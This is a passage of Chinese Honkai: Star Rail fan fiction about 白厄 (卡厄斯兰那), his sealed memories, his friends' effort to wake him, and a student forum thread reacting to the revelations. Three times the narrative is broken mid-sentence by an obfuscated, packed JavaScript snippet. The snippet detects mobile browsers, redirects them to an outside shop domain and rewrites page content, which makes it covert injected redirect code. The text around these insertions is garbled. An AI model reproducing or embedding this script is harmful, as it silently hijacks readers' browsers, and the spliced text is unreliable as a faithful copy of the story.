“纵然心有警惕,一时的大意也能令你前功尽弃,你确实只是个在和平年代长大的普通人,太过天真,也太过心软。”在坠落之中,救世主居高临下地向他露出一个不带笑意的微笑,“我说过,我不会放弃我的世界——无论要我付出什么代价。” “所以,在我替代你,找到留存我的世界的方法之前,只好拜托你先睡一会儿了。” 翻滚的灵水模糊了眼前的世界,白发青年死死盯着那道转身离开的蓝白影子,不断伸手向上抓握,直到冰冷的窒息感吞没一切。 026 在一片连黑暗也不存在的虚无中,他忽然想起了一段过去的记忆。 “我的名字是白厄,来自哀丽秘榭。”进入树庭大学的第一天,他如此笑着对其他人介绍自己,倘若有人追问哀丽秘榭的景色,他便会用“麦田、海滨、风铃”这些温柔的意象糅合一段现编的小故事糊弄过去,因为他对故乡的记忆寥寥无几。 从前,他不觉得这是一件异常的事情。人们对小时候的记忆总是不连贯也不清晰的,而他只是记住的格外少了一些,又或者说,童年期的记忆像是隔了一层厚重磨砂玻璃的故事集,而他站在玻璃的另一侧,只能在故事集上模糊地看见只言片语。 他偶尔会在睡不着的深夜思考自己和泰坦的亲缘关系——不知为何,他最初对泰坦几乎没有敬畏之心,因为神话故事中的泰坦是忽然出现的,他也是忽然出现在这个世界上的,所以他和泰坦当然是一样的。 每次想到这里,他总是会把自己逗笑,而后笑容渐渐淡去,变成无声的叹息。那些缥缈的过往记忆很难说服他承认自己的存在,他曾以冷静的近乎剖析的视角审视自己,确认了单凭这些“只言片语”,绝对无法塑造出如今的他。 开朗、温和、乐于助人……这些特质在第一次与他人相遇——指能清晰记住的那种——之前,就已经固定了下来,他一向不介意因他人的期待调整自己的外在表现,所以到底是在被遗忘的过去里有人养出了他的性格,还是在诞生之前,有人替他写下了这样的设定? 种种疑问被他压在心间,只会在无光的深夜悄然上浮,而到了白天,他又是正常开朗的模样,几乎没人能看出完美表象下的汹涌暗流。 ——除了初次见面就像见到了什么鬼故事、吱哇乱叫着把他押到心理咨询室的折纸大学交换生,如今的室友,穹和丹恒。 顺带一提,吱哇乱叫的是穹,动手押人的是丹恒。 那天在心理咨询室值班的是一位恰好在树庭大学实习的年轻医师,在之后的日子里他再也没见过这位医师。粉蓝色如棉花糖的少女担忧地为他检查一番,又拽着两位室友嘀嘀咕咕,最终得出的医嘱是让他吃好喝好睡好,想干什么干什么。 他开玩笑道:“听起来我像是得了什么不治之症。” 棉花糖医师立刻道:“白厄阁下,请不要这样说自己。无论遇到了什么问题,我都会付出全部努力——只要能让病人,能让你得到一丝疗愈。” 迎着晴空般的眼眸,看着其中认真的光彩,他不好意思地挠挠头,郑重回应道:“嗯,我一定会全力配合你的。” “他们这么认真显得我们格格不入的。”穹拉着丹恒大声吐槽,“而且这个回答不合格,要加大剂量!” 当然,这些都是过去日子里一些有趣的小插曲,他想起的记忆并非这些,而是一段陌生的、存在于故乡的记忆。 027 记忆中的画面似乎带着滤镜,颜色古旧而昏黄,红黑色的方块在视野边角蔓延,又被带着华美花纹的冰霜冻结。 粉发的少女侧坐在码头边缘,踩着海水,轻轻哼唱着古老岁月的歌谣。而他一步一步走近少女,视线边缘垂落着金紫的羽翼,手上戴着金色凝结的手甲。 “昔涟……” “嗯,人家在哦。” “昔涟……” “怎么啦,卡厄斯兰那?” “昔涟,我们,回家。” “……” 粉发的少女忽然红了眼眶。 她轻轻擦了一下眼角,柔声说:“不行哦,现在,整个世界都已经停滞下来了。危险的灾难被永远冰封,所有的记忆都藏在我的心里,我不能醒来,也不能回家啦。” 他似乎听不懂这些话,又似乎不想听懂,保持着伸出一只手的姿势,固执而缓慢地重复道:“昔涟,我们,一起回家。” 粉发的少女摇头,说:“抱歉,唯独这件事,人家没法给出你期待的回应呢。灾难已经席卷寰宇,我只能跟随记忆的脚步,将世界凝固在彻底毁灭前的、小小的瞬间。永恒的水晶花漂亮却令人哀伤,但我只能做到这一步,对不起,真的很对不起……” 他蹲了下来。 “背负,毁灭,我来。”他认真地说,“记忆,翁法罗斯的大家,一起。然后……昔涟,我们,回家。” 昔涟沉默了一会。 “真拿你没办法呢……”她仰头看向永远凝固的黄昏,轻声说,“白厄,你知道席卷世界的毁灭和记忆,究竟有多么可怕吗?起初,我以为我是捧着水晶花的小小的人,后来,我发现世界不是水晶花,而是无数切面上折射出的无数个影子。我一直捞啊捞,却只能记住无数个影子的一瞬间,于是,世界就这样被迫停止在了这一瞬间。” “世界,停滞,与毁灭无异。”他听见自己的声音一片冰冷,言辞锋利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048713|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如刀,“我,你,翁法罗斯,并非真正的生命。所以,我们,不会崩溃,我们,是最好的容器。” 昔涟忽然伸出手,擦了一下他的眼角,然后又带着泪光微笑。 “还是那么舍己为人啊,我们的小英雄。可是,背负起整个寰宇的、一瞬间的毁灭,就算你真的能承受下来,你的未来……” “无妨。”他平静地说,“永劫回归,三千万转,唯独最初的信念,我,不会忘记。” 是啊,我知道,我当然明白,我从不怀疑你的信念,也不怀疑你是否能承受住这本该无人能承受的毁灭。粉发的少女悲伤地看着他,心想。但当你将这一刹那的毁灭尽数容纳,你是否还能为自己,在空洞的容器中留下喘息的空隙呢? “勿要,犹豫。”他将金色的手甲轻轻压在少女的头顶,说,“倘若我们,能重启这个瞬间,我承诺,新世界,一定再见。” “……好,我相信你。”粉发的少女轻轻眨眼,向他露出一个甜甜的笑容,“即将拯救世界的大英雄,可一定不能欺骗我哦,” 永恒的坚冰终于有了融化的痕迹,毁灭的烈阳在天边翻滚,融化成纯粹的金色。 这一幕,如同黎明。 028 古老静谧的小村庄忽然“闪烁”了一下。 凝固的黄昏中,天边忽然裂开数道缝隙,缝隙内是一片混沌的黑红,而后有黏稠的金血从中淌出。形骸扭曲的怪物自金血中诞生,手脚并用的攀爬着落下,发出凶戾的嘶吼——这是糅杂了毁灭与仇恨的、毫无神智的怪物。 “啧,救世小子一直以来都把这些东西困在身体里?只是想想,我浑身的痒痒肉都跳起来了,亏他当初还能若无其事地和我们相处。”赛飞儿尾巴左右摇摆,顺滑的毛发因炸毛而变得蓬松了不少。 “就实际而言,他现在的确不知道自己身体里有什么东西,当然,如果不是你借助‘诡计’的力量为他屏蔽痛苦,他也不会像今天这样活蹦乱跳。”学者停顿一下,道,“容纳‘整个寰宇一瞬间的毁灭’终究为他刻下了不可逆转的伤痕,我们已经尝试了太多次,但他动摇到这种程度……确实是第一次。” “简单来说,我们这次最有可能成功,对吧?”赛飞儿语调轻快,“既然如此,就没什么好说的了,我们无论如何也得把这些‘场外因素’阻拦下来,免得打扰到灰子他们。正好很久没活动筋骨了。倒是你,在树庭扎根了那么久,还能不能支撑住‘剧烈运动’啊?” “呵,我知晓自己的长处与短处,为何要与这些怪物比拼体力?”那刻夏轻轻挥手,铭刻着繁复花纹的炼金法阵勾勒而出,拟造出一圈悬浮的炮口,“可惜这处‘心中的哀丽秘榭’太过脆弱,最大火力只能卡到这种程度。” 赛飞儿果断跑到了炮口的另一侧,道:“自从我们接入寰宇,你鼓捣的东西真是越来越危险了,悠着点吧,树庭小子,我可不希望哪天醒来发现翁法罗斯被你炸飞了。” 那刻夏道:“不是所有的发明都会爆炸。另外我今年的实验结果稳定率是99.87%,远低于常规事故发生率,你看到的实验室翻新申请单是我替白厄填的,他最近对天外奇物很感兴趣,可报销的损耗额度已经用光了。” “是是是,你说得都对。”赛飞儿扭腰闪过一只怪物的偷袭,指间已经夹住了一枚硬币,嘴角带笑,“不过风头总不能都让你出了,好……开冲!” 029 “不是吧,真的有效?”粉蓝色的美少女难以置信地看上上空,掰着手指道,“明明这个计划听起来一点都不靠谱,但‘卡厄斯兰那’第一次有反应诶,虽然这反应一点都不友好,他好像有很重的起床气,打算爬起来先把咱们都打一顿。” 穹深沉道:“最了解自己的永远是自己,白厄也只有白厄能说动了。” “小心,地面之下也有怪物要钻出来了。”丹恒挥手召出击云长枪,提醒道,“三月全力维持记忆捏塑的梦境,怪物交给我和穹来处理,这里是‘心中的哀丽秘榭’的核心,也是白厄心中最后一块未被毁灭侵染的净土,必须守住。” “放心,区区毁灭余波催生的怪物,看我的吧。”穹摸出球棒,摩拳擦掌,“我早就看这帮有碍市容的家伙不顺眼了!” “好,本姑娘也要全力以赴。”三月七站在穹和丹恒制造的安全区中站定,微微低头,看向双手之间、全力维持的一枚忆泡。 忆泡之中隐隐约约是创世涡心的场景,蓝白衣装的青年站在中央,看动作正在眺望远处的灵水,似乎在等待着什么。 忽然,灵水滚沸升腾,一抹金色冲天而起。 蓝白衣装的青年见证着这一幕,露出一个微笑。 36. 翁星求生指北(九) 030 按照翁法罗斯的时间计算,在很久很久以前,金发的青年曾与粉发的少女曾约定在新世界再见,但在说出承诺的同时,金发青年的心中却自问自答着另外的话语。 ——倘若你真的成功容纳了“寰宇一瞬间的毁灭”,在这之后,要怎么做才能阻止灾难再次外溢呢? ——我并非智者,想不到别的办法,唯有借此躯壳拥抱毁灭,将一切封锁,在永恒长眠的梦中与之厮杀消磨。 ——抱歉,昔涟。 ——我要食言了。 031 三个月前。 “蝶宝,你在做什么?又是这个本子,让我看看……‘比格椰唤醒计划’?那刻夏老师原来取了这样的名称吗,之前我都没注意到。” “是的,堇、堇宝。”少女有些不好意思,掩饰般挽起耳边垂落的发丝,“时至今日,翁法罗斯已经彻底稳定下来,星穹列车不久前给出了将要返航的信号,我想他们应该也很关心白厄阁下的情况,于是把我们的‘尝试’记录整理成册,方便无名客们阅读。” 听到此处,风堇脸上的笑意变淡了一些,晴空般的眼眸中浮起几分忧虑之色,但这忧虑转眼间隐没下去,她笑着接过笔记,看向上面的一行行文字。 “琥珀纪#2158,绝灭大君铁墓自翁法罗斯破壳而出,毁灭方程式蔓延寰宇,在最后的刹那,‘无漏净子’昔涟以记忆为纽带,记录并冰封了寰宇毁灭前的微小瞬间,将世界永远定格,踏上擢升为记忆星神的路途。 “不知多久之后——因寰宇冰封现象,时间在此处已经*无法计量*——冰封消失,卡厄斯兰那以己身为容器,从概念上容纳了‘寰宇毁灭的瞬间’,并在后续吞并铁墓,陷入沉睡。寰宇自记忆星神的记忆中重生(注:此条记录由昔涟、穹口述而来,其余生命体对‘冰封’没有记忆,故记录内容并不为寰宇公认)。 “自此,铁墓陨落,毁灭方程式影响消退,记忆星神仍未诞生,翁法罗斯因‘寰宇再创世’成为基于忆质衍化的特殊星球。衍化期间,为避免三千万转过往记录击穿民众心智,昔涟将翁法罗斯的过往藏匿心中,并在后续三千年(翁法罗斯时间)中逐渐归还过往记录。” 这部分文字措辞冷静、口吻客观,是遐蝶从星穹列车智库中抄录而来。 波澜壮阔的史诗最终凝聚成纸面上的寥寥几行文字,奇妙的错位感不禁令人恍惚,风堇定了定神,翻过一页笔记。 “为避免灾难外溢、铁墓复生,卡厄斯兰那捏造了名为‘心中的哀丽秘榭’的忆质幻境,并将作为容器的自己封印在幻境最深处。无名客以彻底消弭铁墓隐患为理由,说服天才们对‘心中的哀丽秘榭’进行解析,在昔涟的帮助下,多次尝试,最终成功将卡厄斯兰那的心智数据带回翁法罗斯。” 这段话旁边粘贴着几张字迹不同的字条,是大家在过去偶然写下的批注,这些批注被遐蝶小心剪裁下来,一同收纳进笔记之中。 “——果然,就算抽离了心智数据,‘心中的哀丽秘榭’仍然能稳定运行,呵,要做到这一步,必须将自身躯壳彻底重构为封印的一部分。由此可见,我那好学生在封印之初就考虑了他的心智损毁,而封印继续运作下去的情况,甚至从未想过拿回身体踏上新世界的土地,好,很好,真是物尽其用。” 这张字条没有署名,但应该是那刻夏老师留下的,看字迹在纸张上的深刻程度,那刻夏老师似乎被白厄阁下气到了。风堇忍不住摇摇头。 你做这些时应该从未想过你还能见到新世界,所以行事毫无顾忌,但从现在的结果来看嘛……白厄阁下,我会在心里祝福你的。 与此同时,正在树庭大学上课的白发青年忍不住打了个喷嚏,他茫然地抬起头,却正对上讲台上薄荷色学者锋利的视线,不知为何有些心虚,埋下头避开了这道目光。 “——缇里西庇俄丝女士联络我前往哀丽秘榭,应当是救世主的事情有了进展,结果见面却被告知要给他当老师,我本以为自己没什么可以教他的……但这个小豆丁是谁?”这张字条原本似乎是信纸,边缘滚着金红色的纹理,很有悬峰特色。 信纸边缘还有一行小小的批注:“哎呀,这句话可不要让我们的小英雄看到哦,他还不理解什么是长大,昨天才问我为什么只有他那么矮,今天再看到‘小豆丁’的描述,说不定会悄悄藏在麦田里哭鼻子呢。” 风堇被这张字条逗笑了,她不禁回想起白厄阁下刚回到翁法罗斯的那段日子。 那时白厄本能地将一切与毁灭有关的东西全部收束起来,连过往记忆都被死死地压抑在心底。于是他们成功捞出了白厄的心智,他却不言不语,死寂缄默,对外界不做任何反应,比最虔诚最顽固的泰坦信徒还要令人头疼。 最终,昔涟想出了一个点子,她不再尝试唤醒白厄,反而为他再加上一道记忆的封印,将所有过往尽数封锁。 于是几日后,昔涟便在天才(此处特别鸣谢阮.梅女士)的帮助下领回来一个稚嫩懵懂、纯白无瑕的孩子,并将消息撒得到处都是,让一众泰坦开启了养孩子之旅。 如果白厄阁下还有记忆,也许会坚决反对这件事吧……但小时候的白厄阁下,真的很可爱啊。风堇心想。 抛开一众泰坦准备的、对常人来说明显超纲的教学内容,白厄的第二次童年生活可以称得上快乐和安宁。性格各异的老师们给小少年带去不少困扰,但白厄就像一株生长在悬崖缝隙里的秧苗,最终还是迎着阳光、雨露和狂风,坚强地长大了。 但是…… 但是。 白厄终究并非常人,过往经历早已在他的灵魂中刻凿出无可逆转的痕迹,而那被容纳的灾厄也不会轻易消弭。即便众人有意溺爱乃至刻意引导,小少年仍然长成了温和、开朗、谦逊又细心的模样,没有丝毫长歪的趋势。 他的身影和众人记忆中的救世主不断重叠,几乎令人错乱。 而问题不止于此。 起初,是记错一些小事,然后,是关于众人记忆的遗失,最后,是“心中的哀丽秘榭”的异常波动……当白厄又一次在异常的困倦中睡去后,昔涟终于作出决定。 “不能让他继续在这里停留下去了,失却了心智的空壳(心中的哀丽秘榭)会本能渴求意识的回归,而我所设置的记忆封印已经在毁灭的侵蚀中渐渐异化。 “卡厄斯兰那对现状并非全无察觉,纵然此刻的他什么也不记得,但在潜意识里,他仍会将与过往有关的记忆尽数收束心底,切断一切物理上和意识上的联系,以此隔绝毁灭的蔓延。” 生命体的意识与躯壳的联系是如此奇妙,明明在物理上已经一分为二,意识甚至有了新的宿体,但二者之间仍有割舍不掉的联系,并相互影响。 “心中的哀丽秘榭”在呼唤白厄返回封印深处,封印中的灾祸在抓住一切联系向外溢出,而白厄,卡厄斯兰那,他如此决绝地舍弃了新生,放任自己随时间流逝走向沉睡的终局,几乎再次化作封印的壁垒。 “小涟,你的意思是,小白会忘记和我们相处的这十几年经历,*我们*也要避免以熟悉的形象出现在他面前,对吗?否则,只会导致一次又一次地遗忘。” “是啊,其实情况还没有危急到连记忆的联系也要切断的程度,但我想,卡厄斯兰那不会允许一丝一毫的疏漏存在于新世界中……他没有忘记我们,只是将记忆收集起来,在只有他一个人的世界里珍藏呢。” “嗯!*我们*相信小白和小涟,但只有一个人的世界,会不会有些孤单?” “……当然。拯救世界的英雄仍要在封印中与灾祸无休无止地搏杀下去,直到心智彻底融毁,这样的故事结局,一点都不浪漫呢。” 粉发的少女露出微笑。 “真是的,多少也相信我们一点吧,为何不真正清醒过来,让我们一同对抗那被容纳的毁灭呢?好吧,这次粉色的妖精小姐就原谅你了,在事情变得不可逆转之前,在偷来的时间流逝殆尽之前,就让我和大家,一起创造又一个奇迹吧?” 032 名称:比格椰唤醒计划。 目标:在“心中的哀丽秘榭”和白厄之间的吸引力大到不可逆转之前,唤醒白厄全部的记忆,命令他积极抵抗吸引力而不是现在这样顺水推舟,并狠狠教训一顿什么都在乎、唯独不在乎自己的救世主。 挑战人员:泰坦,无名客,天才们(远程支持)。 挑战记录:99连败。 谁人的留言:“啊啊啊救世小子怎么能这么倔啊,他是负世太久把脑袋背负傻了吗?!” 谁人的留言:“不行啊,再尝试下去肯定会被发现问题吧,毕竟每失败一次就会令他丢失一段记忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048714|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哪有人的过往记忆是散装的啊!” 谁人的留言:“晚了,以他的性子,估计早就察觉到不对劲了。” 谁人的留言:“竟然就这样冷冰冰的拒绝了大家,看来只能拿出最后的杀手锏了呢,可爱的、执掌岁月的美少女,就按我们提前说好的那样,在人家特意留下的忆泡中,打捞起涟漪中的往事吧。” 谁人的留言:“包在咱的身上!” ………… 最新的留言:“好消息,成功了。” 最新的留言:“坏消息,也是成功了。不知道白厄和白厄到底说了什么,他刚醒来就把整个忆泡都炸掉了!” 033 按照翁法罗斯的时间计算,在很久很久以前,金发的青年曾与粉发的少女约定在新世界再见,但在他说出承诺的同时,粉发少女却悄悄藏起了一枚忆泡。 ——背负世界的人子,行于毁灭的人子,倘若你真的成功容纳了“寰宇一瞬间的毁灭”,在这之后,你又打算怎么做呢? ——哎呀,这可不是欺骗哦,人家留下一枚忆泡只是当作纪念,毕竟这样璀璨闪光的记忆,真的很好看,对吧? ——如果一切顺利,这就真的只是纪念啦。 ——新世界再见,卡厄斯兰那。 034 忆泡之内,创世涡心。 自灵水中向下坠落之时,他终于想起来了曾经的记忆。 所有过往如百川入海,自脑海深处流淌而出。一次、百次、千万次,三千万转的轮回流转心间,被他熟稔地接纳。 而后,一段相比之下格外短暂、格外柔和的记忆冉冉升起。 翁法罗斯三千年后的哀丽秘榭已然不剩多少曾经的影子,唯有海滨的风浪与金黄的麦田似曾相识。而他,年幼的孩童,就在这久远未来的故乡中迎着风奔跑,自由自在、无忧无虑,以普通人的认知慢慢长大。 ——前提是忽略掉一堆诸如“反侦查意识培训”“服装搭配及鉴赏”“迷路秘境小妖精图鉴”“领袖的艺术”“垃圾桶的一百种分类”等等奇葩课程。大家到底是怎么想的,真的有普通小孩子会学这些东西吗? 新世界的十几年时光,在卡厄斯兰那的漫长苦旅中比微尘还要渺小,但当他主动捡拾起这粒微尘,却能从中感受到源源不断的、奇迹般的温暖。 ……还是要谢谢你们啊,我的战友,我的伙伴。 灵水之上,金紫羽翼、悬空而立的金发青年微微柔和了眉眼。 “唔,看来计划很顺利?只要你取回记忆,应该立刻就能想明白是怎么回事吧?”蓝白衣装的青年向他微笑。 金发青年沉默地看向他,对方回以平静的注视。 “我曾听搭档谈起一桩奇事,一位无名客留下的忆泡活了过来,他因为寂寞离开,忘记过往真身,以为自己只是个普通人。”金发青年缓缓开口,“你,奥赫玛,和逐火年代,原来都是忆泡中的世界。所谓灵魂互换,不过是精心编排的假象。” “话可不能这么说,‘我的世界’好歹也是星神记录下的记忆,虽然昔涟现在已经不再是记忆星神了……但也足够特殊?”蓝白衣装的青年眨了眨眼,笑盈盈地说,“如何,你打算如何处置我?” 金发青年微微摇头。 “你我之间,何谈处置。不如说,倘若此身心智终将在与灾厄的厮杀中消磨殆尽,你,是很好的备选。” 蓝白衣装的青年收敛了笑容,轻声道:“你这么想,可不太符合大家对你的期待。” 卡厄斯兰那平静地反问:“所以,你的决定呢?” 蓝白衣装的青年道:“我的回答从来都不会改变,如果真有那一天,我向你保证,不会逃避这份职责。” 金发青年微微点头,不再说话。 蓝白衣装的青年眼眸一转,又笑了起来,道:“不过那已经是最坏的选择了,至少现在,还不至于此。对了,你比我预料得更加话多,难道是不敢面对外面的大家,所以借着和我说话的机会,故意拖延时间?” 金发青年:“……” 蓝白衣装的青年道:“逃避可不能解决问题啊。” 金发青年:“……” 啧,面对一个一模一样的自己,果然还是完全喜欢不起来啊。 反正这个忆泡也不是昔涟留存下来的本体,还是炸了吧。 37. 翁星求生指北(十) 035 忽然被忆泡碎片拍了一脸的三月七:“?” 036 树庭大学,内部论坛。 【求助!穿越到再创世前、光历4931年的奥赫玛该如何活下去?】 …… 865L 我去,我去!你们快去看校园官网,哀丽秘榭出大事了! 866L 谢邀,刚从官网爬回来,恍恍惚惚中。 867L 这年头谁看大学官网啊……我去瞅瞅。 868L 不想爬官网,有没有好心人分享下到底出什么事了? 869L 哀丽秘榭,不是无名英雄衣冠冢所在的小村子吗。 870L 说起来混进考察队的那两位是不是直到现在都没动静,他们是掉进无名英雄衣冠冢里,被无名英雄吃了吗? 871L ——回复870L:别说,还真有可能。 872L ——回复871L:? 873L 我把官网公告搬运过来了,想看得进楼中楼。 874L ——回复873L:【截图】.JPG 875L ……我下次一定要买个能看图的手机。 876L 楼上是古翁法罗斯人吗,现在手机还有不能看图的? 877L 别胡说,逐火年代的翁法罗斯就有能看图的手机了。 878L 讲个笑话,翁法罗斯科技水平最高的时候是逐火年代(手动狗头)。 879L 全是数据生命的那种高是吧? 880L 我帮看不到图的老哥整理了下内容,其实公告也没说什么,也就是哀丽秘榭暂时封锁、无名英雄确认存在、多位泰坦降临边陲小村庄……而已。 881L 《而已》 882L 啊哈哈哈哈哈!哈哈哈哈哈! 883L ——回复882L:楼上没事吧,好好一个人怎么突然疯了? 884L 喜极而泣!皆大欢喜!喜大普奔! 885L 无名英雄真的存在!那个和我吵了三个月的家伙,快来受死吧! 886L 鉴定为史院人,学历史学的,抬走吧。 887L 每日史院(1/1)。 888L 虽然消息很震撼,但之前不是一直都有风声预兆,铺垫无名英雄的存在吗,我感觉还好吧,大家怎么都这么激动? 889L 简单,搬运那位没截到精华啊,重点不是公告,是下面的回复! 890L 【智库-翁法罗斯】、【智库-卡厄斯兰那】、【智库-寰宇冰封现象】。这三条回复是星穹列车对翁法罗斯再创世的记载,发布人不仅挂着无名客的认证标识,还挂着磐岩之脊、大地泰坦的认证标识!我好像在做梦,大地泰坦给我们做科普? 891L 补充一下,磐岩之脊大人的IP地址是哀丽秘榭。 892L 好激动好激动好激动,泰坦大人们终于下场还原历史了! 893L 等一下,“卡厄斯兰那”词条的内容……无名英雄和盗火行者是一个人?不对不对,重点不是这个,这个虽然也是重点,但是…… 894L 楼上冷静,小心太激动厥过去。 895L 嘶,不提我都没注意到,光看泰坦大人和无名客的认证标识去了。翁法罗斯,铁墓,寰宇冰封……我好像学了假的历史,当初竟然发生了这么多的事情? 896L 翁法罗斯历史混乱是因为大轮回嵌套小轮回,历史资料缺失是因为我们自数据升格,没有普世意义上的“过去”,无名英雄记载自相矛盾,是因为他主动切断了自己与外界一切概念上的联系,独自和被容纳的“寰宇一瞬间的毁灭”战斗。 897L …… 898L …… 899L 额,大家怎么都不说话? 900L 也就是说,翁法罗斯三千年的发展中,最初的救世主卡厄斯兰那仍然在和灾厄不断厮杀,当我们发展文明、探索历史,以为一切灾难早已终结的时候,那位无名英雄、那位负世者,其实从未放下世界的重量? 901L 真是……搞什么啊…… 902L 楼上上,你扎我心了。 903L 我终于看懂了,难怪无名英雄的考证一点不顺利,原来对无名英雄否定最深的正是无名英雄本人,要不是诸位泰坦尽力挽留,是不是那些似是而非的资料都留不下来? 904L 我服了,想想关于那些泰坦的记载,还有逐火年代的史诗吧,别的星球特产是特产,咱们翁星特产是甘愿奉献、牺牲自己的人是吧? 905L 先别悲伤了,你们没注意到更大的问题吗? 906L 无名英雄衣冠冢存在于卡厄斯兰那捏造的幻境中,而那幻境正是他以自身躯壳构造出的容器与封印,如今无名英雄衣冠冢出现在世间,难道不是说被容纳的灾厄也随之浮出水面了吗?大家都生活在一个大炸弹上啊! 907L 诶,我现在去屯几张离开翁星的船票,之后能不能靠倒卖挣钱? 908L 醒醒,因为我们生命形式特殊,有研究价值,所以为了避免有谁被忽悠进实验室当试验品,离开翁星的申请报告都要提前至少三个月填好的,只有申请报告通过,才能买票。 909L 你们怎么还真考虑起来了!都不担心自己吗?“寰宇一瞬间的毁灭”太危险了,一旦爆炸,不知道寰宇能不能扛住,反正翁星肯定保不住。 910L 反正有泰坦大人们在……你以为我会这么说吗?但凡仔细看看官网信息就知道为什么大家都没有危机感了。 911L 昔涟大人也发言了,快去看。 912L ——回复909L:别太担心,永夜之帷大人、翻飞之币大人和裂分之枝大人刚在公告下聊天,从内容来看,他们已经唤醒了卡厄斯兰那大人的心智,附带的报告太学术了没看懂,但结论是封印平稳,泰坦大人们正在想办法将灾厄剥离。 913L 我回来了! 914L 昔涟大人说为了避免击穿我们的心智,翁法罗斯三千万转的过往其实一直没有真正融入这个世界,我们的“过去”并不完整。不过现在时机成熟,昔涟大人会将所有历史在之后的时间里逐一归还,令翁法罗斯的因果真正闭合,将我们如今的存在彻底锚定。 915L 原来我们的存在,其实到现在还是不确定的? 916L 谢谢,水论坛发现自己原来没完全活,我家一本族谱都没完全活,我有点死了。 917L 逐一归还历史……嗯,提前给史院人点蜡,翁星混乱的历史研究恐怕在短时间内会继续混乱下去。 918L 给史院点蜡。 919L 给史院点蜡。 920L 给史院点……不对!这里不是科普帖,我记得我蹲在这是为了看楼主写的穿越小说来着。 921L 楼主和那两位探查队的人一起失踪了,从公告来看,他们怕不是撞上了卡厄斯兰那大人苏醒的瞬间,然后当场失联。额,有那么多泰坦在场,至少人身安全不用担心? 922L 我又爬了一遍楼,忽然觉得有些不对劲。你们看楼主虚构的那人,和浪漫泰坦大人很熟悉,武力值超高,和古悬峰人(身份不确定,疑似天谴之矛大人)不太对付,还被逐火年代的人相当重视……这设定是不是有点眼熟? 923L 哈,哈,哈,楼上真是自己吓自己,你不会想说和楼主灵魂互换的人,就是最初的救世主,卡厄斯兰那大人吧? 924L 现在写小说都是这个套路,虚构一个本不存在的人,然后插入到历史的英雄史诗中去,楼主也是这么干的,别多想了。 925L 我还是觉得不对劲,对了,楼主提过一本“树与蝶”的书,我得去找找。 926L 有点羡慕楼主他们,竟然能和泰坦大人们一起待在哀丽秘榭,说不定还会见到刚醒来的卡厄斯兰那大人。 927L 无名英雄的记载还是太少了,不知道卡厄斯兰那大人到底是什么样子。 928L 从泰坦和无名客的普遍颜值来看,我猜卡厄斯兰那大人的颜值也很高。 929L 跑了几千万次不断优化的代码,泰坦大人们不好看才有鬼了。 930L 诶!官网又更新了。 931L 哈哈,我已经第一时间看完更新回来了,这次被上传的资料是无名英雄衣冠冢里的壁画,不过上传人怎么是翻飞之币大人? 932L 壁画内容是卡厄斯兰那大人的三千万转逐火,从白发蓝眸的剑士,到黑袍遮面的盗火行者,一路金血绵延……不行我描述不下去了,这壁画内容看得我心疼。 933L 唉,仔细想想一点都不真实,我不是否定黄金裔和泰坦的逐火,只是轮回的次数太多,数量级太大,有些脱离我的认知范畴了,所以现在反而不觉得愤怒或者悲伤,只是有些惆怅。 934L 这帖已经快变成无名英雄专贴了,楼主什么时候回来正一下楼。 935L 我去!不是吧? 936L 怎么了怎么了?又发生什么事了? 937L 我,我整理下措辞,这事太离奇了。树庭大学的探查队去了哀丽秘榭,我怀疑整队人都失联了,有些担心那刻夏老师,所以在老师的各个社交账号上翻了翻,希望找到一些蛛丝马迹,结果,结果…… 938L 别大喘气啊,结果如何? 939L 结果那刻夏老师的认证标识变了! 940L 你们看公告下面,翻飞之币、永夜之帷和裂分之枝的聊天,你们就不觉得裂分之枝大人的头像很眼熟吗,是那刻夏老师亲自拍的大地兽照片啊! 941L ??? 942L ??? 943L 理性泰坦大人喜欢大地兽人尽皆知,这没什么可奇怪的,也许只是恰好相似……不对!那刻夏老师的账号下面怎么也多了个认证标识? 944L 《关于挂我课的老师其实是理性泰坦大人这件事》。 945L 名字那刻夏,总是要求别人叫全名,喜欢大地兽,坏了,小聋瞎竟是我自己,理性泰坦大人压根就没有认真藏。 946L 以后智种学派的大家可以自称泰坦的学生了,辈分忽然飙高。 947L 不知道楼主知道那刻夏老师就是那刻夏大人,会有什么看法。 948L 楼主:我啸着看。 949L 卡厄斯兰那大人是理性泰坦大人的学生,楼主也是理性泰坦大人的学生。卡厄斯兰那大人是白发蓝眸,楼主也是白发蓝眸。我懂了!楼主是卡厄斯兰那大人(手动狗头)。 950L 我查资料回来了!树与蝶讲的竟然是前代泰坦瑟希斯和墨涅塔的故事,这玩意在古籍资料里都是垫底的,楼主的天外朋友竟然能随意拿出来,到底是何方神圣? 951L 别说,楼主一身特点还真的越看越眼熟。 952L 他口中的天外朋友也很奇怪,手里有翁法罗斯古籍就算了,之前是不是还掏出了一套古翁法罗斯的战士服装,这东西咱们平时都很难接触到吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 